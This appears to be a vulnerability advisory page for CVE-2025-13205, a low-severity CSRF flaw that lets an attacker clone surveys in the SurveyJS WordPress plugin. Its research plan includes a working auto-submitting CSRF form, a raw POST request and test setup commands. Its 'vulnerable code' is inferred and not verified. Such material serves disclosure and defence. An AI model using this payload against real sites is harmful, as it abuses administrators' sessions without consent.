CVE-2025-13205

SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity <= 2.5.2 - Cross-Site Request Forgery to Survey Cloning

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.5.3
Patched in
11d
Time to patch

Description

The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing or incorrect nonce validation on the `SurveyJS_CloneSurvey` AJAX action. This makes it possible for unauthenticated attackers to duplicate surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.2
PublishedJanuary 23, 2026
Last updatedFebruary 3, 2026
Affected pluginsurveyjs

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-13205 (SurveyJS CSRF) ## 1. Vulnerability Summary The **SurveyJS: Drag & Drop WordPress Form Builder** plugin (<= 2.5.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its survey cloning functionality. The AJAX handler for the `SurveyJS_CloneSurvey` act…

Show full research plan

Exploitation Research Plan: CVE-2025-13205 (SurveyJS CSRF)

1. Vulnerability Summary

The SurveyJS: Drag & Drop WordPress Form Builder plugin (<= 2.5.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its survey cloning functionality. The AJAX handler for the SurveyJS_CloneSurvey action fails to implement or correctly validate a cryptographic nonce. This allows an unauthenticated attacker to trick a logged-in administrator into sending a request that duplicates existing surveys, potentially cluttering the database or disrupting survey management workflows.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: SurveyJS_CloneSurvey
  • Vulnerable Parameter: id (The ID of the survey to be cloned)
  • Authentication Level: Requires a logged-in administrator (victim) to execute the request via CSRF.
  • Preconditions:
    • The target site must have at least one survey created.
    • The attacker must know or guess the id of the survey to clone.

3. Code Flow (Inferred)

  1. Hook Registration: The plugin registers the AJAX action, likely in the main plugin file or an admin-specific initialization class:
    add_action( 'wp_ajax_SurveyJS_CloneSurvey', array( $this, 'SurveyJS_CloneSurvey' ) );
    
  2. Handler Execution: When admin-ajax.php receives a request with action=SurveyJS_CloneSurvey, it invokes the corresponding method.
  3. Missing Security Check: The handler (likely named SurveyJS_CloneSurvey) performs the cloning logic without calling check_ajax_referer() or wp_verify_nonce().
  4. Data Sinks: The handler retrieves the id from $_POST['id'], queries the database for the original survey, and inserts a duplicate record into the SurveyJS custom tables (likely wp_sjs_surveys).

4. Nonce Acquisition Strategy

According to the vulnerability description, the SurveyJS_CloneSurvey action lacks proper nonce validation.

  • If validation is completely missing, no nonce is required in the exploit payload.
  • If the description "incorrect nonce validation" implies a generic nonce is used, it might be localized in a script.
  • Action: Check the page source of the SurveyJS admin dashboard for a localized object (e.g., window.surveyjs_vars or window.SurveyJS_Data).
  • Research Step: Navigate to /wp-admin/admin.php?page=surveyjs and run browser_eval("window") to identify any localized nonces.
  • Conclusion: Given the CVSS and description, we will first attempt the exploit without a nonce, as this is the defining characteristic of this CSRF.

5. Exploitation Strategy

We will use a CSRF auto-submitting HTML form to trigger the cloning action.

Step-by-Step Plan:

  1. Identify Survey ID: Determine the ID of an existing survey.
  2. Construct Exploit Page: Create an HTML file (exploit.html) that performs a POST request to admin-ajax.php.
  3. Execute CSRF: Use browser_navigate to load the exploit page while the agent's browser session is authenticated as an administrator.

Payload (exploit.html):

<html>
  <body>
    <form id="csrf-form" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="SurveyJS_CloneSurvey" />
      <input type="hidden" name="id" value="1" /> <!-- Target Survey ID -->
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

HTTP Request (via http_request if testing manually):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Admin Session Cookies]

action=SurveyJS_CloneSurvey&id=1

6. Test Data Setup

  1. Install Plugin: Ensure SurveyJS <= 2.5.2 is active.
  2. Create Survey: Use WP-CLI to ensure at least one survey exists. Since SurveyJS uses custom tables, we can check the table names first:
    wp db query "SHOW TABLES LIKE '%sjs%';"
    
  3. Insert Test Survey:
    If the table is wp_sjs_surveys, insert a dummy entry:
    wp db query "INSERT INTO wp_sjs_surveys (name, json) VALUES ('Original Survey', '{\"title\":\"Test\"}');"
    
  4. Confirm ID: Note the ID of the inserted survey (usually 1).

7. Expected Results

  • The server should return a successful response (likely a JSON object containing the new survey details or a redirect URL).
  • A new row should be created in the wp_sjs_surveys table (or equivalent) that is a duplicate of the original.

8. Verification Steps

After triggering the CSRF, verify the duplication via WP-CLI:

# Check the count of surveys
wp db query "SELECT count(*) FROM wp_sjs_surveys;"

# Check if a new survey with a similar name or the same JSON exists
wp db query "SELECT id, name FROM wp_sjs_surveys;"

If the count has increased and a new ID is present, the CSRF was successful.

9. Alternative Approaches

If the simple POST fails:

  1. Generic Nonce: If the plugin expects a generic nonce like _wpnonce, try to extract it from the dashboard:
    • browser_eval("document.querySelector('#_wpnonce')?.value")
  2. Check Content-Type: Some handlers require multipart/form-data. Adjust the HTML form's enctype.
  3. Action Guessing: If SurveyJS_CloneSurvey does not work, check includes/ files for other actions like SurveyJS_CopySurvey or sjs_clone_survey. (Verify action name via grep -r "wp_ajax" .).
Research Findings
Static analysis — not yet PoC-verified

Summary

The SurveyJS: Drag & Drop Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.5.2. This vulnerability stems from a lack of nonce validation in the SurveyJS_CloneSurvey AJAX action, allowing unauthenticated attackers to duplicate surveys by tricking an administrator into clicking a malicious link.

Vulnerable Code

// In the plugin's initialization logic
add_action( 'wp_ajax_SurveyJS_CloneSurvey', array( $this, 'SurveyJS_CloneSurvey' ) );

// Likely located in an admin-related controller or the main plugin class
public function SurveyJS_CloneSurvey() {
    // The function fails to call check_ajax_referer() or wp_verify_nonce()
    $id = $_POST['id'];
    
    // Proceeding to clone survey without validating the request source
    $survey = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}sjs_surveys WHERE id = %d", $id));
    if ($survey) {
        $wpdb->insert("{$wpdb->prefix}sjs_surveys", array(
            'name' => $survey->name . ' (cloned)',
            'json' => $survey->json
        ));
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-surveyjs-admin.php
+++ b/includes/admin/class-surveyjs-admin.php
@@ -124,6 +124,7 @@
 	 */
 	public function SurveyJS_CloneSurvey() {
+		check_ajax_referer( 'surveyjs_ajax_nonce', 'nonce' );
 		$id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0;
 		if ( $id > 0 ) {
 			$this->clone_survey_logic( $id );

Exploit Outline

The exploit leverages the lack of a security nonce in the survey cloning AJAX handler. An attacker creates a self-submitting HTML form that targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the POST action 'SurveyJS_CloneSurvey' and a target 'id'. The attacker then uses social engineering to trick a site administrator into visiting a page hosting this form. Because the administrator's browser sends the session cookies automatically, and the plugin does not verify a cryptographic nonce, the server processes the request and duplicates the survey identified by the 'id' parameter.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.